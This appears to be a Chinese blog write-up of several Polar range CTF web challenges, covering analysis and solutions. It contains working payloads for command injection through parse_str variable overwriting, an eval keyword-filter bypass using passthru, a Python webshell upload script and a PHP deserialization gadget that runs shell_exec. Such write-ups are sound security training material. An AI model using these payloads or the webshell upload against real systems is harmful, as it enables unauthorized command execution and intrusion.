Polar靶场-Web简单题目记录(25-32)
Polar靶场-干正则题目

代码分析
1.输入检查 :若 $_GET['id'] 为空,会显示当前文件源代码;否则,包含 flag.php 文件.
2.变量覆盖 :使用 @parse_str($id) 函数,该函数会将字符串解析为变量,可能存在变量覆盖漏洞。
3.条件判断 :要求 $a[0] 等于 www.polarctf.com ,并且 $_GET['cmd'] 不能包含 flag.php 。
4.命令执行 :使用 shell_exec 函数执行 ping -c 2 命令,存在命令注入风险。
利用思路
1.变量覆盖 :利用 parse_str 函数覆盖 $a 变量,使其满足 $a[0] == 'www.polarctf.com' 。
2.命令注入 :在 $_GET['cmd'] 中构造恶意命令,绕过 flag.php 的过滤,从而读取 flag.php 文件内容。

Polar靶场-cool题目

代码分析
- 检查 GET 参数 a 是否存在
- 若 $a 是数字( is_numeric ),输出 no 并终止
- 若 $a 包含 flag|system|php (不区分大小写),则不执行 eval
- 否则执行 eval($a)
利用思路
目标是让 eval($a) 执行恶意代码(如读取flag文件),需同时绕过两个限制:
- 非数字限制 : $a 不能是纯数字(包括字符串形式的数字)
- 关键词过滤 : $a 不能包含 flag|system|php (大小写不敏感)
payload :?a=passthru('cat f*');

Polar靶场-uploader题目

题目代码核心逻辑如下:
1、基于客户端 IP 生成 MD5 目录($sandBox)作为沙盒路径;
2、直接将用户上传的文件移动到该沙盒目录(move_uploaded_file),未对文件类型、扩展名、内容做任何过滤;
3、输出上传文件的名称、类型、大小及沙盒路径。
编写python脚本进行上传shell文件
import requests
# 配置参数(需根据实际环境修改)
target_url = "http://b0220848-fd47-404d-8716-1c2d3fdd5550.www.polarctf.com:8090/" # 目标上传接口URL
file_path = "shell.php" # 本地待上传文件路径
file_name = "shell.php" # 上传后的文件名
file_field = "file" # 表单中文件字段名(根据题目代码中的$_FILES['file']调整)
# 读取文件内容
try:
with open(file_path, "rb") as f:
file_content = f.read()
except FileNotFoundError:
print(f"错误:文件 {file_path} 不存在")
exit(1)
# 构造上传请求
files = {
file_field: (file_name, file_content, "application/octet-stream") # MIME类型可根据需求调整
}
# 发送POST请求
try:
response = requests.post(target_url, files=files)
response.raise_for_status() # 检查HTTP错误状态码
except requests.exceptions.RequestException as e:
print(f"上传失败:{str(e)}")
exit(1)
# 输出响应结果
print("上传成功!响应内容:")
print(response.text)

连接webshell,读取flag

Polar靶场-覆盖题目
与正则题目一样,但是存在另一种思路(博客园kriton大佬思路)
payload :?id=a[0]=www.polarctf.com&cmd=|cat `ls`
payload分析:
前半段与之前构造相同,这里 | 是管道符,但实际效果是 命令注入 : ping -c 2 www.polarctf.com 会被执行,而 | 后的 cat ls 会被当作新命令执行( ls 会展开当前目录所有文件名, cat 读取这些文件内容)。
查看网站源代码获取flag

Polar靶场-PHP反序列化初试题目
1.分析析代码
- Easy 类有一个 __wakeup 方法,该方法会输出 $this - >name 的值。
- Evil 类有一个 __toString 方法,该方法会执行 $this - >evil 的值作为系统命令,并将结果存储在 $this - >env 中,然后返回 $this - >env。
2.利用思路
-
要利用这个漏洞,我们需要构造一个特殊的序列化字符串,使得在反序列化时触发 Evil 类的 __toString 方法来执行系统命令。
-
由于 Easy 类的 __wakeup 方法会输出 $this - >name,我们可以将一个 Evil 对象作为 $this - >name 的值。这样,在__wakeup 方法执行时,会自动调用 Evil 对象的 __toString 方法,从而执行系统命令。
3.构造序列化字符串 -
首先,我们创建一个 Evil 对象,并设置其 $evil 属性为想要执行的系统命令,例如 whoami。
-
然后,将这个 Evil 对象作为 Easy 类的 $name 属性的值。
-
最后,序列化这个 Easy 对象,得到序列化字符串。
4.示例代码
<?php
class Easy {
public $name;
public function __wakeup() {
echo $this->name; // 输出 $name(即 Evil 对象,触发 __toString)
}
}
class Evil {
public $evil;
private $env; // 私有属性,序列化键需为 \0Evil\0env
public function __toString() {
$this->env = shell_exec($this->evil); // 执行命令
return $this->env;
}
}
// 构造恶意对象
$evil = new Evil();
$evil->evil = 'whoami'; // 替换为目标命令(如 cat /flag)
$easy = new Easy();
$easy->name = $evil; // 让 Easy 的 $name 指向 Evil 对象
// 生成正确序列化字符串(关键:私有属性键为 \0Evil\0env)
echo serialize($easy);
?>

使用在线网站执行后,需要在Evil和env前后添加空格 ,payload如下:
?easy=O:4:"Easy":1:{s:4:"name";O:4:"Evil":2:{s:4:"evil";s:6:"whoami";s:9:"%20Evil%20env";N;}}
或者将s:9修改为s:7也可执行
因为目标服务器的 PHP 环境与你的本地环境在序列化私有属性的方式上存在差异。在目标服务器上,私有属性
$env 的序列化表示长度是7,而不是9或其它值。这可能是因为目标服务器使用的是较低版本的 PHP,或者其序列化格式有所不同

通过执行发现,ls命令被过滤,使用echo* 查看当前目录

?easy=O:4:"Easy":1:{s:4:"name";O:4:"Evil":2:{s:4:"evil";s:6:"tac%20f";s:7:"Evilenv";N;}}
?easy=O:4:"Easy":1:{s:4:"name";O:4:"Evil":2:{s:4:"evil";s:6:"tac%20f";s:9:"%20Evil%20env";N;}}

Polar靶场-机器人题目
通过扫描,发现存在/robots.txt

存在部分flag
flag{4749ea1ea481a5d

访问Disallow目录 /27f5e15b6af3223f1176293cd015771d

无法访问,在以 /27f5e15b6af3223f1176293cd015771d为目录继续扫描

发现存在flag.php,找到另一半flag
Polar靶场-扫扫看题目

查看提示,使用dirsearch进行目录扫描,发现存在flag.php


Polar靶场-debudao题目
提交任意数值后查看源码,发现假flag

通过抓包,发现flag在Cookie中

解码得到flag


浙公网安备 33010602011771号